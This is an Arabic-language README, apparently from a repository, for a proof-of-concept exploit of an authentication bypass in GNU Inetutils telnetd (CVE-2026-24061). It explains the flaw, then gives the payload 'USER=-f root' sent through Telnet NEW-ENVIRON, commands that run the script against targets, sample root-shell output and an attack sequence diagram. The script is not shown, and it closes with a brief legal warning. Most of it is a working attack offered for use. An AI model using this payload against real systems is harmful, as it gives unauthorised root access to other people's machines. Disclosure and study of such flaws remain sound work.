
إثبات مفهوم لاستغلال تجاوز المصادقة في GNU Inetutils telnetd (CVE-2026-24061) والذي يفتح غلاف جذر عبر متغير USER المُعدّل في NEW-ENVIRON.
يحتوي هذا المستودع على استغلال إثبات المفهوم (PoC) لثغرة تجاوز المصادقة عن بُعد في GNU Inetutils telnetd.
تنشأ المشكلة لأن telnetd لا يعقّم متغير البيئة USER المستلم عبر تفاوض Telnet NEW‑ENVIRON بشكل صحيح قبل استدعاء /bin/login.
من خلال توفير:
USER=-f root
ينفّذ telnetd فعليًا:
/bin/login -f root
مما يتجاوز المصادقة ويمنح جذر (root shell) فوريًا.
يتيح Telnet NEW‑ENVIRON للعملاء تعيين متغيرات البيئة أثناء تفاوض الجلسة.
يمرر telnetd الثغرة متغير USER مباشرة إلى login:
/bin/login -f "$USER"
يحدد المهاجم:
USER=-f root
النتيجة:
/bin/login -f root
يخبر العلم -f برنامج login بـتخطي المصادقة، مما يمنح وصولًا بصلاحيات الجذر.
لا توجد تبعيات خارجية مطلوبة.
python3 cve-2026-24061.py 192.168.1.100
python3 cve-2026-24061.py example.com 23
إذا كان الهدف ثغرة:
# id
uid=0(root) gid=0(root)
#
لديك الآن جذر تفاعلي (root shell).
python3 cve-2026-24061.py 10.10.10.20
المخرجات:
[+] Connected to 10.10.10.20:23
[+] Sent malicious USER=-f root via NEW-ENVIRON
[+] Negotiation complete - entering interactive shell
#
sequenceDiagram
participant A as Attacker
participant T as Target telnetd
participant L as /bin/login
participant R as Root Shell
A->>T: Connect TCP/23
A->>T: Telnet NEW-ENVIRON USER=-f root
T->>L: Execute /bin/login -f root
L-->>T: Auth bypass success
T-->>R: Spawn root shell
R-->>A: Interactive root session
يُقدَّم هذا الاستغلال للأغراض التالية:
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن لاختبارها غير قانوني.